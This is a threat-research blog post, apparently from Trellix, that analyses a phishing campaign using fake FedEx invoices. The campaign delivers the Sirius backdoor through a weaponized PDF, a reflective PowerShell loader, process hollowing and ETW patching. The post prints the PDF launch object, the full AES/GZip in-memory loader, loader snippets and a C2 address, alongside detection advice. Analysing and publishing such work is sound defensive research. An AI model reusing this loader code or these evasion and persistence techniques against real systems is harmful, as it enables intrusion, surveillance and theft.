Blogs
The latest cybersecurity trends, best practices, security vulnerabilities, and more
Unveiling Sirius Backdoor: A Multistage Fileless Campaign Disguised as FedEx Invoices
By Shashikala Piddannavar, Raymond Joseph Alfonso and Sagar Bade · October 26, 2026
Introduction
During a recent priority customer escalation, our “Trellix” Threat Response Team investigated a suspicious alert involving the unexpected execution of a PDF document. What initially appeared to be a routine phishing attempt quickly unfolded into a sophisticated, multistage campaign delivering a previously undocumented variant of the Sirius Backdoor.
While the initial delivery via an email containing a ZIP archive with a PDF appeared routine, the execution flow stood out due to its heavy use of living-off-the-land (LotL) techniques.
Analysis revealed that the PDF abuses /OpenAction and /Launch objects to trigger an embedded Base64-encoded PowerShell command upon opening. Execution relies on social engineering to trick the user into approving the PDF reader's security confirmation prompt.
The PowerShell stager decrypts and reflectively loads a .NET assembly in memory. This loader performs process hollowing into legitimate Windows processes such as msbuild.exe, svchost.exe, etc. allowing the malware to operate under trusted process contexts.
The final payload is a new backdoor, which we named it as SIRIUS BACKDOOR based on the <<<<SIRIUS_STUB_CONFIG>>>> config and a few related patterns; it’s a modern Microsoft Visual C++ based backdoor with extended remote access capabilities.
Infection flow
The Sirius infection chain: High-level overview
This campaign utilizes a sophisticated "Matryoshka doll" execution model, where each stage exists solely to decrypt and reflectively load the next, ensuring the final payload never touches the disk in an unencrypted state.
Phase 1: Initial access (The FedEx lure)
The attack starts with a geo-targeted spear-phishing email (in Korean) masquerading as a FedEx Tax Invoice. To evade email gateway security, the malicious payload is tucked inside a ZIP(Fedex_tax_receipt.zip) archive containing a weaponized PDF(Fedex_tax_receipt.pdf).
Phase 2: The Document trigger (PDF /Launch)
The PDF is visually blank, acting only as a delivery vehicle. It leverages the /OpenAction and /Launch features to automatically execute an obfuscated PowerShell command the moment the document is opened. This transitions the threat from a static file to active code execution.
Phase 3: Fileless staging (PowerShell reflection)
The PowerShell script acts as an in-memory "unpacker." It decrypts an AES-encrypted and GZip-compressed blob using hardcoded keys. Using .NET Reflection, it loads the resulting bytes directly into memory as the Stage 1 Loader, ensuring the malware never touches the physical disk.
Phase 4: The Staging loader (RC4 and reconstruction)
This Stage 1 .NET Assembly provides an extra layer of defense. It derives an RC4 key via SHA256 to decrypt its internal resources. To bypass memory scanners looking for "MZ" headers, it uses a de-interleaving algorithm (extracting every third byte) to reconstruct the Stage 2 Injector before executing it.
Phase 5: The Master injector (EDR blinding and hollowing)
The Stage 2 Injector is the engine of the attack. It proactively patches ETW (Event Tracing for Windows) and HotPatching to "blind" EDR/AV sensors. It then downloads the final payload (zeus.dat) and uses Early Bird APC Injection(CreateProcess(in suspended state CREATE_SUSPENDED)→VirtualAllocEx→WriteProcessMemory→NtQueueApcThread→ ResumeThread / NtResumeThread) to hide the Sirius Backdoor inside legitimate Windows processes like msbuild.exe or svchost.exe.
Phase 1: Email with zip attachment
The infection begins with a carefully crafted spear-phishing email designed to instill a sense of financial urgency. The threat actors behind this campaign leverage the global reputation of FedEx to bypass the victim's initial suspicion.
Email characteristics
- Subject Line: [FedEx] A tax invoice has been issued.
- Language: Korean
- Theme: Financial compliance / billing
- Bait: A notification for a new tax invoice totaling 217,740 KRW with a specific due date.
Social engineering tactic
The email is designed to mimic legitimate FedEx Billing Online automated notifications. By including specific details such as a convincing invoice number (724156148 >) and a pending payment deadline, the attacker pressures the recipient into opening the attachment to "review the details."
The use of the Korean language and South Korean currency (KRW) suggests a geo-targeted campaign, specifically aimed at corporate users or accounting departments within the region.
The attachment (The technical pivot)
The email contains a ZIP archive (to evade simple email gateway scanners). Inside this archive lies the weaponized document Fedex_tax_receipt.pdf.
Opening this PDF is the "Point of No Return," as it utilizes the Adobe /Launch action to move the infection from a document-based lure to active code execution via PowerShell.
Phase 2: The weaponized PDF (The silent trigger)
When a user opens Fedex_tax_receipt.pdf, they see a blank page. This is by design. The malware author isn't interested in providing content; they only need the PDF reader to parse the file's internal objects to trigger the execution.
1. Why is the page blank?
Looking at Object 5 in the raw code:
Code snippet:
5 0 obj
<< /Length 27 >>
stream
BT /F1 1 Tf 0 0 Td ( )Tj ET
endstream
endobj
- The BT (Begin Text) and ET (End Text) tags define the visible content.
- The command ( )Tj tells the PDF reader to render a single space character.
- There are no images, no invoice details, and no actual text. The "document" is effectively an empty shell used as a transport vehicle.
2. The execution engine: /OpenAction & /Launch
The real danger lies in how the PDF handles its startup sequence.
- The Hook (Object 1): The entry point of the PDF contains /OpenAction 8 0 R. This instruction tells the PDF reader: "As soon as this file is opened, immediately execute the instructions found in Object 8."
- The Payload (Object 8): This is where the /Launch action is defined.
Code snippet
8 0 obj
<< /Type /Action /S /Launch /Win
<< /F (powershell.exe) /P (-W h -nop -NOni -ep BYPaSS -EncodedCommand ...
3. Decoding the stealth PowerShell command
The /Launch action specifically targets the Windows operating system (/Win) and executes powershell.exe with the following stealth arguments:
- -W h (WindowStyle Hidden): Ensures no blue PowerShell window flashes on the user's screen.
- -nop (NoProfile): Ignores local PowerShell configurations to ensure the script runs predictably.
- -NOni (NonInteractive): Prevents the script from presenting prompts to the user.
- -ep BYPaSS (ExecutionPolicy Bypass): Bypasses the system's script signing security policies.
- -EncodedCommand: The actual malicious script is Base64 encoded. This hides the URL of the .NET Loader and other indicators from simple string-based scanners.
Phase 3: PowerShell reflection and in-memory loading
The Base64-encoded command triggered by the PDF reader is a sophisticated one-liner designed to bypass static file scanners. Instead of downloading an .exe file, it processes an encrypted blob entirely within the PowerShell process memory.
Code snippet:
$yc4KQe1='LfBqaGHMQsA85Ha3pbu7Vg==';
$1k9vlx='+9aAse9v9VKdKbioQxwNxg==';
$Hx39=[Convert]::FromBase64String($f9Pn);
$kOkdy=New-Object Security.Cryptography.AesManaged;
$kOkdy.Mode=[Security.Cryptography.CipherMode]::CBC;
$kOkdy.Padding=[Security.Cryptography.PaddingMode]::PKCS7;
$kOkdy.Key=[Convert]::FromBase64String($yc4KQe1);
$kOkdy.IV=[Convert]::FromBase64String($1k9vlx);
$53gQ=$kOkdy.CreateDecryptor().TransformFinalBlock($Hx39,0,$Hx39.Length);
$9BzrPhm=New-Object IO.MemoryStream(,$53gQ);
$yTu0eb=New-Object IO.MemoryStream;
$gz=New-Object IO.Compression.GZipStream($9BzrPhm,[IO.Compression.CompressionMode]::Decompress);
$bf=New-Object byte[] 4096;
while(($n=$gz.Read($bf,0,$bf.Length))-gt 0)
{
$yTu0eb.Write($bf,0,$n)
};
[Reflection.Assembly]::Load($yTu0eb.ToArray()).EntryPoint.Invoke($null,(,[string[]]@()))
1. The cryptographic layer (AES-CBC)
The script initializes an AES-256 decryption engine in cipher block chaining (CBC) mode.
- The Key ($yc4KQe1): LfBqaGHMQsA85Ha3pbu7Vg==
- The IV ($1k9vlx): +9aAse9v9VKdKbioQxwNxg==
- The Ciphertext ($f9Pn): This variable contains the large Base64 string found in the PDF.
The script uses TransformFinalBlock to decrypt the raw bytes. By using AES with a specific key and IV, the attacker ensures that the payload remains "junk data" to any network security appliance inspecting the traffic or the file.
2. The compression layer (GZip)
Once decrypted, the data is still not a functional executable. To further reduce the footprint and obfuscate the code, the payload is compressed.
- The script uses the IO.Compression.GZipStream class.
- It streams the decrypted bytes through a decompressor into a new MemoryStream.
- This technique is often used to hide the "MZ" header and other recognizable PE (portable executable) markers from simple memory strings.
3. The execution pivot (Reflection)
The final line is the most critical technical maneuver:
[Reflection.Assembly]::Load($yTu0eb.ToArray()).EntryPoint.Invoke($null,(,[string[]]@()))
- [Reflection.Assembly]::Load: This tells PowerShell to take the decrypted/decompressed byte array and treat it as a .NET executable assembly.
- Reflective Loading: Because the assembly is loaded from an array (memory) rather than a file path (disk), it is "fileless."
- EntryPoint.Invoke: The script automatically finds the Main method of the .NET Loader and executes it immediately.
Why this is effective for the attacker:
- Antivirus Bypass: Most traditional AV products scan files as they are written to disk. Since this script stays in memory, it bypasses those triggers.
- AMS Bypass: While modern Windows versions have AMSI (antimalware scan interface), the use of encryption and GZip requires AMSI to catch the payload at the exact moment of the Load call, which is a very narrow window of detection.
- Efficiency: This small script can deploy any .NET-based malware (in this case, the stage 1 NET Loader) by simply swapping the Base64 blob in the PDF.
Phase 4: The .NET staging loader (RC4 and de-interleaving)
Once active in memory, this loader's sole purpose is to "unpack" the next layer of the malware. It uses a combination of standard cryptography and a custom "junk data" removal technique to bypass pattern-matching security tools.
1. Key derivation (SHA256 and XOR)
The loader doesn't store its decryption key in plain text.
- It clones a hardcoded byte array (array2) and performs an XOR operation using a seed value (b).
- It then generates a SHA256 hash of this XORed result. This hash becomes the final symmetric key for the next step.
Why? This prevents static analysis from identifying the RC4 key by simply looking at the binary's strings or data sections.
2. Custom RC4 decryption
The loader uses the derived SHA256 hash to initialize a standard RC4 (Rivest Cipher 4) stream cipher. It decrypts array12 (the encrypted payload stored in resources).
- The S-Box: The code manually builds the 256-byte S-Box (substitution box), a signature of the RC4 algorithm.
- Stream XOR: It then XORs the encrypted payload with the pseudo-random stream generated by the S-Box.
3. The "anti-sandbox" trick: Data de-interleaving
This is the most unique part of this loader. Even after decryption, the payload is still not a valid executable. The author has "interleaved" the real malware bytes with junk data to hide the "MZ" header from memory scanners.
C#
while (num63 < array44.Length && num64 < num62)
{
array50[num64++] = array44[num63];
num63 += 3; // Skips 2 bytes of junk for every 1 byte of real data
}
- The code divides the decrypted buffer by 3 and extracts every third byte.
- The other 66% of the data consists of randomized junk bytes designed to break the "file signature" of the malware.
4. Verification and reflective invocation
After reconstruction, the loader checks the first two bytes for the magic numbers 77 and 90 ('M' and 'Z').
- Assembly.Load: If valid, it uses .NET Reflection to load the bytes as a new assembly.
- entryPoint.Invoke: It dynamically locates the Main method of the Stage 2 Injector and executes it.
Phase 5: The stage 2 injector (Telemetry blinding and final execution)
This stage is responsible for three primary objectives: neutralizing endpoint security, retrieving the final Sirius payload, and executing it using stealthy memory injection.
1. Anti-EDR: Blinding the watchmen
Before the malware performs any "noisy" actions, it calls PatchETW() and PatchNtManageHotPatch().
- ETW Patching: Event Tracing for Windows (ETW) is the primary data source for modern EDR (endpoint detection and response) tools. The injector hooks the EtwEventWrite function in ntdll.dll, replacing it with a "No-Op" (no operation) instruction.
- Impact: Any malicious activity performed after this point—such as process injection or credential theft—will not be logged by Windows, effectively making the malware "invisible" to security sensors.
2. Payload retrieval (zeus.dat)
The method DownloadPayload() is called to fetch the final malware from the C2 server (dubaitechnicalservice.ae).
- Encrypted URL: The download URL is RC4-encrypted within the binary to prevent network scanners from flagging it.
- Robustness: The code is designed to cycle through multiple .NET network libraries (HttpClient, WebClient, and HttpWebRequest) to ensure the download succeeds even if one method is blocked by a local firewall.
3. The execution fork: .NET vs. native
The Main method performs a logic check using isNET() to determine how to run the downloaded zeus.dat bytes:
- Case A: If the Payload is .NET: It uses Reflective Loading (Assembly.Load). The malware remains entirely in memory, and the code finds the EntryPoint (the main method of the stealer) and executes it directly within the current process.
- Case B: If the Payload is Native (VC++): If the payload is not a .NET assembly (which is the case for our VC++ Sirius Backdoor), it pivots to the NativeRunPE.Execute method. This triggers the process hollowing sequence.
4. Execution via process hollowing (NativeRunPE)
The injector identifies the architecture (x86 or x64) and selects a random host process (e.g., msbuild.exe, svchost.exe).
- Creation: It launches the host process in a suspended state.
- Hollowing: It unmaps the original code and replaces it with the Sirius Backdoor code.
- APC Injection: To bypass behavioral detection of "suspended processes," it uses NtQueueApcThread. This queues the malicious code to run as an "asynchronous procedure call," which is a much stealthier method than simply resuming the thread.
The Stage 2 Injector is the “cloaking device” of the infection. By patching ETW and HotPatching mechanisms, it proactively disables the OS's ability to report malicious behavior. It then makes a high-level decision: if the payload is .NET, it loads it reflectively; if it is native VC++, it uses advanced APC-based process hollowing to hide the Sirius Backdoor inside trusted Windows processes.
Payload analysis:
Sirius Backdoor begins by trying to resolve either SetProcessDpiAwarenessContext() or SetProcessDpiAwareness(). This ensures that the screen-capture module works perfectly preventing blurry image and text.
Parsing malware configuration
Sirius Backdoor has two ways to store its malware configuration, either in the .RSRC section or in its static memory. If it's in the resource section, it looks for the resource named Caffee_Config otherwise, it searches for the string <<SIRIUS_STUB_CONFIG>> in its memory as this signifies the start of the stub configuration.
C/C++ struct MalwareConfig {
DWORD ConfigSize; // Total size of the configuration block
BYTE BehaviorFlag_1; // Alters RAT behavior
BYTE GeoFenceFlag; // 1 = Check victim country code, 0 = Ignore
char C2_Address_Port[]; // Primary C2 address and port
char UnusedString[]; // Unused / Deprecated by author
char MasqueradeDllName[]; // DLL name used for RAT masquerading
char MutexName[]; // Name of mutex to use
char BaseDirEnvVar[]; // e.g., %APPDATA%, %TEMP%
char InstallSubDir[]; // Subdirectory inside BaseDir
char PayloadFileName[]; // Installed payload filename
char ScheduledTaskName[]; // Name of task for persistence
char CampaignInfo[]; // Campaign ID, Start Date, End Date
char FallbackC2[]; // Fallback C2 server address
char FallbackInstallPath[]; // Fallback base directory
char FallbackSubDir[]; // Fallback subdirectory
char StartupPayloadName[]; // Filename for Startup folder persistence
};
Below is a sample config embedded in the variant analyzed:
00000000: 8C 00 00 00-00 00 31 38-35 2E 31 31-34 2E 32 30 î 185.114.20
00000010: 36 2E 34 35-3A 34 34 34-39 00 00 00-25 41 50 50 6.45:4449 %APP
00000020: 44 41 54 41-25 00 4D 69-63 72 6F 73-6F 66 74 00 DATA% Microsoft
00000030: 73 76 63 68-6F 73 74 2E-65 78 65 00-00 34 34 35 svchost.exe 445
00000040: 62 61 37 38-65 34 63 66-34 62 39 34-30 33 38 38 ba78e4cf4b940388
00000050: 35 36 37 30-63 32 63 39-63 39 37 65-63 62 62 39 5670c2c9c97ecbb9
00000060: 38 30 35 35-34 33 31 62-64 35 32 30-32 31 36 37 8055431bd5202167
00000070: 32 62 31 36-37 37 63 39-64 31 37 34-62 00 00 00 2b1677c9d174b
00000080: 25 54 45 4D-50 25 00 6D-73 75 70 64-61 74 65 00 %TEMP% msupdate
00000090: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
| Offset (Hex) | Description / Purpose |
| 0x0000 | Config size |
| 0x0004 | Copies another string to memory. Not used in the variant. |
| 0x0005 | Check the country code of victim |
| 0x0006 | C2 address and port |
| 0x001C | Payload installation Base path (%APPDATA%) |
| 0x0026 | Payload installation subdirectory (Microsoft) |
| 0x0030 | Payload file name (svchost.exe) |
| 0x003C | Null value, unidentified |
| 0x003D | Campaign ID and TTL |
| 0x007E | Null value, unidentified |
| 0x007F | Null value, unidentified |
| 0x0080 | Secondary installation base path (%TEMP%) |
| 0x0087 | Secondary installation subdirectory (msupdate) |
Behavior switching
The behavior of Sirius Backdoor is governed by two local variables defined in the main function of itself. Below is a summary of what each bit does:
Flag #1
0x0001
Create a mutex used to check if there's already another instance of the RAT running.
C/C++ if ( (ModifyRATBehaviorFlag_1 & 1) != 0 && aMutexName[0] )
{
MutexA = CreateMutexA(0LL, 1, aMutexName);
if ( !MutexA )
goto LABEL_33;
if ( GetLastError() == ERROR_ALREADY_EXISTS )
{
CloseHandle(MutexA);
LABEL_33:
ExitProcess(0);
}
0x0008
Achieve persistence on victim's system by creating an entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Run that points to the path of the malware.
0x0010
Drops a dynamically generated XML task definition and registers it via schtasks.exe. The task is configured with a LogonTrigger, sets the RunLevel to HighestAvailable, and automatically launches the malware payload with elevated privileges upon user logon.
0x0020
Modifies its own extension from .exe to .dll in memory and copies itself into C:\Windows\System32\user32.dll (or a custom name) for DLL sideloading or COM hijacking.
0x0100
Changes its own attribute to FILE_ATTRIBUTE_HIDDEN and FILE_ATTRIBUTE_SYSTEM
0x0400
If disabled, execute the backdoor routine without needing administrator privileges.
0x0800
Terminate itself if it's not running in its target directory.
0x1000
Set shutdown priority for itself to the lowest level and remove the retry dialog.
0x2000
Check if the victim's country code is included in the campaign.
The backdoor validates whether the victim host is located in one of ~88 supported countries (including South Korea, the US, Canada, Australia, and European nations), terminating execution if there is no match
Flag #2: Persistence & Elevation Matrix
The second behavior flag dictates how Sirius establishes persistence across different host privilege levels:
0x01 – Startup Shortcut (COM):
Uses COM interfaces (IShellLinkA and IPersistFile) to drop a shortcut (.lnk) into the user's Startup folder, defaulting to "WindowsUpdate.lnk" if no custom shortcut name is specified.
0x02 – UserInit Logon Script Hijack:
Drops a batch script named logon.cmd and registers its path under HKCU\Environment\UserInitMgrLogonScriptName. During user logon, userinit.exe queries this volatile environment variable and automatically executes the script.
0x04 – Session Manager BootExecute Manipulation:
Appends the malware path to the REG_MULTI_SZ BootExecute value in HKLM\SYSTEM\CurrentControlSet\Control\Session Manager.
(Note: While the binary includes this bitmask routine, standard Win32 executables cannot run directly in Session 0 native mode without an intermediate native subsystem wrapper binary).
0x08 – Multi-Tier Privilege Persistence:
If running with Administrator privileges, the malware executes an aggressive multi-vector persistence routine:
- Default User Profile Poisoning: Mounts C:\Users\Default\NTUSER.DAT under HKEY_USERS\SURV_DEFAULT and writes a persistence entry to Software\Microsoft\Windows\CurrentVersion\Run. This ensures every newly created account on the system automatically inherits the infection.
- Windows Push-Button Reset Survival (PPKG): Drops a custom provisioning package in C:\Recovery\Customizations\SysConfig_<CRC32_of_mutex>.ppkg. Windows Push-Button Reset automatically restores packages in this directory, allowing the backdoor to reinstall itself even across full system resets.
- Setup Script Hijacking: Creates C:\Windows\Setup\Scripts\SetupComplete.cmd, ensuring execution with SYSTEM privileges at the conclusion of Windows Setup or OS upgrade workflows.
Non-Admin Fallback:
If elevated privileges are unavailable, the malware drops itself into %LOCALAPPDATA%\Microsoft\<custom_dir>\<file> and %USERPROFILE%\Documents\<custom_dir>\<file>. It then writes updater.vbs to the user's Startup folder and registers the ~ RUNASADMIN flag under HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers to trigger a UAC elevation prompt upon execution.
Malware installation
- If the four th bit of Flag #1 AND Flag #2 is not set, it will install itself in another directory
- It's customizable; the malware author can specify two directories where it will install itself, making it have a primary and fallback routine if the primary fails.
- Both routines use "svchost.exe" as its default file name is none is set.
Conclusion
The Sirius Backdoor campaign stands out for its zero-disk delivery and deliberate focus on blinding endpoint sensors from start to finish:
- PDF Trigger: Uses a visually blank PDF with /OpenAction and /Launch to directly spawn PowerShell without dropping initial binary files.
- In-memory Unpacking: Chains AES decryption, GZip decompression, and a 3-to-1 byte de-interleaving trick to scrub MZ/PE headers from memory before reflective loading.
- EDR Blinding and Injection: Patches ntdll!EtwEventWrite to silence ETW telemetry, then hollows msbuild.exe or svchost.exe using Early Bird APC injection (NtQueueApcThread).
- Resilient Persistence: Abuses uncommon survival mechanisms, including Windows Provisioning Packages (.ppkg) to survive OS resets, alongside UserInitMgrLogonScriptName and default user hive (NTUSER.DAT) hijacks.
Defensive recommendations
To defend against and detect this infection chain, we recommend implementing the following controls:
- Block PDF Child Processes: Enable Microsoft Defender ASR rule "Block Adobe Reader from creating child processes" (GUID: 7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c
- Enforce PowerShell Constrained Language Mode (CLM): Use AppLocker or WDAC to restrict PowerShell capabilities, including dynamic .NET and reflection operations used by fileless loaders.
- Enable Script Block Logging: Enable PowerShell Script Block Logging and monitor Event ID 4104 to capture script content processed at runtime, including reconstructed or de-obfuscated PowerShell code.
- Monitor Suspicious Process Lineage: Alert on unusual relationships such as PDF applications spawning PowerShell, script engines launching msbuild.exe, or unexpected processes creating svchost.exe.
- Detect Early Bird APC Injection: Monitor for processes created with CREATE_SUSPENDED, followed by cross-process memory operations, NtQueueApcThread, and thread resumption.
- Audit Persistence Locations: Monitor for unexpected .ppkg files under C:\Recovery\Customizations\, UserInitMgrLogonScriptName under HKCU\Environment, SetupComplete.cmd, and suspicious RUNASADMIN entries under AppCompatFlags\Layers.
Host Profiling & Defensive Auditing
Upon initial beaconing, Sirius Backdoor executes a structured host reconnaissance routine to fingerprint the victim machine and assess its defensive posture. The implant generates a persistent Hardware ID (HWID) by combining the system's volume serial number and NetBIOS computer name, while harvesting detailed hardware specifications (CPU, GPU, physical RAM, and display resolution) alongside user integrity levels.Beyond basic system profiling, the malware deliberately audits the host's security controls—specifically querying Windows Defender status (DisableAntiSpyware and Defender ATP integration). It also tracks user idle time, system uptime, default browser settings, and active foreground window titles, allowing operators to verify whether the infected machine is an active, high-value corporate workstation or a virtualized security sandbox.
Backdoor Capabilities: Beyond Commodity RAT Tradecraft
At its foundation, Sirius Backdoor covers the expected baseline of modern remote access tools—including reverse shell spawning (0x20), file and directory tampering (0x60–0x75), recursive registry manipulation (0x80–0x8A), and full process injection (0xB4, 0xFC, 0xFD).
However, binary analysis revealed that Sirius diverges significantly from typical commodity malware. It integrates a bespoke, multi-tier operational framework designed for covert interactive access, financial theft, deep host surveillance, and active defensive impairment:
Covert Interactive Access & Headless Desktop Control:
- Hidden Virtual Network Computing (HVNC) (0xE0–0xE2): Spawns a fully isolated, parallel desktop session, allowing the operator to silently navigate applications, open browsers, and manipulate internal network sessions without alerting the active user.
- Virtual Display Driver Manipulation (0xE9–0xEA): Programmatically installs and uninstalls custom virtual display drivers to create invisible monitor environments, ensuring seamless desktop streaming even on headless or locked endpoints.
- Embedded SOCKS5 Pivoting (0x0B–0x0D, 0xF5–0xF9): Operates as an internal proxy relay and tunneling node, allowing attackers to route external malicious traffic deeper into internal enterprise segments.
Full-Spectrum Surveillance & Wiretapping:
- Live Multi-Channel Eavesdropping: Streams live webcam video (0x4A–0x4C), captures microphone feeds (0x4D–0x4E), and intercepts system speaker audio via loopback capture (0x53–0x54) to monitor private communications and meetings.
- Targeted Keystroke & Clipboard Synchronization: Combines offline keystroke logging (0x3C) with active window tracking (0x99) and keyword-triggered filters (0xC0). It synchronizes the victim's clipboard in real-time (0x2E–0x32, 0x43), capturing copied credentials, tokens, and sensitive text.
Dynamic Cryptocurrency Clipping & Credential Theft:
- Configurable Clipboard Hijacker (0x33–0x36, 0x3F, 0x45, 0x56–0x5A): Continuously inspects clipboard contents against an operator-updatable regex library of major cryptocurrency wallet formats (Bitcoin, Ethereum, Monero, etc.), instantly substituting the victim’s destination address with an attacker-controlled wallet.
- Chromium Profile Harvesting (0x38, 0xE8): Systematically extracts stored autofill data, authentication cookies, and saved account credentials directly from Chromium-based browsers.
Host Defense Impairment & Operator Disruption:
- Proactive Security Blinding: Adds programmatic exclusions for malicious paths and processes directly into Windows Defender (0xC5, 0xC7), modifies host firewall filtering policies (0x25–0x2A), and deletes Volume Shadow Copies (0xC6) to impede local recovery efforts.
- Active Disruption & Operator "Trolling" Suite (0xB8–0xBE, 0xF0–0xF2): Features native commands for user disruption, including locking user input, forcing BugCheck/BSOD crashes, hiding system taskbars, injecting text-to-speech audio alerts, and launching interactive direct-messaging windows on the victim's screen.
Appendix A – Indicators of compromise (IOC) summary
File hashes
| MD5 | 3cc5147d1dbe295c63da958afadac6c6 | |
| SHA-256 | 87aafaa8bb6444bae4d2ef82e395c46e85daf468a66754169b1e3d762ba04f51 | |
| Zip | MD5 | 6ffcf5f7aa4b3b75b06bd7a7f49366a8 |
| SHA-256 | 7ec38100faffb910ece1f379cb93ec09cc2beeb35ee8bdb401d7645469dca105 | |
| MD5 | 39993389e1e95ebbd55aa54058cf7b52 | |
| SHA-256 | 6da827caff789c1c33dd9ad380c610541f6dd90678db527c4f5bdf5012e305d4 | |
| .NET Loader | MD5 | 64a9940fc78de8a895d968a4092ed10b |
| SHA-256 | 899fc5fae0593dd47aef9db4b51ffb5aeae27be9d1b6beb41108411baca7ef05 | |
| .NET Injector | MD5 | 62A458EB260E7AA26092DBDF9C2D8ED4 |
| SHA-256 | eedd60c6abfc4c18578c960ae55b177ea9ff14e8d41634c46f361cc8680df01c | |
| Sirius Backdoor | MD5 | e8b080c276519547e95930ab15028adb |
| SHA-256 | d6802fce5b918ed247ba85d6aa0545a8120cfbc3734b1c37794c4e381862d4ee |
| URL | |
| C2 | 185.114.206.45:4449 |
Appendix B – Trellix detection signatures
| Product |
Signature / IOC Coverage |
| Trellix IVX |
|
| Trellix EDR |
|
| Trellix ENS-AV |
|
| Trellix ENS-EP |
|
| Trellix Helix |
|
| Trellix NX |
|
| Trellix HX |
|
Appendix C – MITRE ATT&CK technique mapping
| Tactic |
Technique Name |
ID |
Supporting Evidence from Analysis |
| Initial Access | Phishing: Spearphishing Attachment | T1566.001 | Korean FedEx tax invoice email containing password-protected ZIP archive Fedex_tax_receipt.zip. |
| Execution | User Execution: Malicious File | T1204.002 | Victim opening Fedex_tax_receipt.pdf. |
| Execution | Command & Scripting Interpreter: PowerShell | T1059.001 | PDF /Launch action executing Base64-encoded PowerShell script. |
| Execution | Command & Scripting Interpreter: Visual Basic | T1059.005 | Non-admin persistence dropping updater.vbs in Startup folder? |
| Execution | Command & Scripting Interpreter: Windows Command Shell | T1059.003 | Execution of schtasks /create commands and logon.cmd / SetupComplete.cmd scripts. |
| Persistence | Registry Run Keys / Startup Folder | T1547.001 | HKCU\...\Run (Windows Update) and Startup .lnk / updater.vbs. |
| Persistence | Scheduled Task/Job: Scheduled Task | T1053.005 | Dropping dynamically generated XML task file and registering via schtasks.exe. |
| Persistence | UserInitMgrLogonScriptName Hijack | T1547.010 | Writing logon.cmd path to HKCU\Environment\UserInitMgrLogonScriptName. |
| Persistence | OS Provisioning Packages | T1547 | Dropping SysConfig_<CRC32>.ppkg in C:\Recovery\Customizations for reset persistence. |
| Persistence | Boot/Logon Initialization Scripts: SetupComplete | T1037.003 | Dropping SetupComplete.cmd in C:\Windows\Setup\Scripts. |
| Defense Evasion | Impair Defenses: Disable Windows Event Logging | T1562.002 | Patching ntdll!EtwEventWrite with RET / No-Op instructions. |
| Defense Evasion | Process Injection: Asynchronous Procedure Call | T1055.004 | Injecting payload into suspended process via NtQueueApcThread (Early Bird APC). |
| Defense Evasion | Deobfuscate/Decode Files or Information | T1140 | In-memory AES decryption, GZip decompression, and 3-to-1 byte de-interleaving. |
| Defense Evasion | Abuse Elevation Control Mechanism: UAC | T1548.002 | Setting RUNASADMIN in HKCU\...\AppCompatFlags\Layers to prompt for elevation. |
| Credential Access | Credentials from Web Browsers | T1555.003 | Chromium browser credential theft (Backdoor command 0x38, 0xE8). |
| Credential Access | Input Capture: Keylogging & Clipboard | T1056.001 | Offline keylogger (0x3C, 0x99) and live clipboard monitoring (0x43, 0x5F, 0xD1). |
| Command & Control | Application Layer Protocol: Web Protocols | T1071.001 | HTTP payload retrieval of zeus.dat from dubaitechnicalservice.ae. |
| Command & Control | Non-Application Layer Protocol: Raw TCP | T1095 | Raw TCP socket C2 communication to 185.114.206.45:4449. |
| Command & Control | Remote Access Software | T1219 | HVNC (0xE0), Reverse Shell (0x20), Desktop Streaming (0x10). |
Discover the latest cybersecurity research from the Trellix Advanced Research Center.
RECENT NEWS
-
Oct 13, 2026
Trellix redefines cyber defense for the AI era
-
Oct 13, 2026
Trellix research reveals the true cost of ungoverned AI
-
Aug 24, 2026
Trellix Expands Leadership Team to Accelerate Growth and Cyber Resilience
-
May 19, 2026
Trellix Appoints Joe Chen as Chief Technology Officer
-
Apr 08, 2026
Trellix prevents enterprise data exposure in sanctioned and shadow AI
RECENT STORIES
Latest from our newsroom
Get the latest
Stay up to date with the latest cybersecurity trends, best practices, security vulnerabilities, and so much more.
Zero spam. Unsubscribe at any time.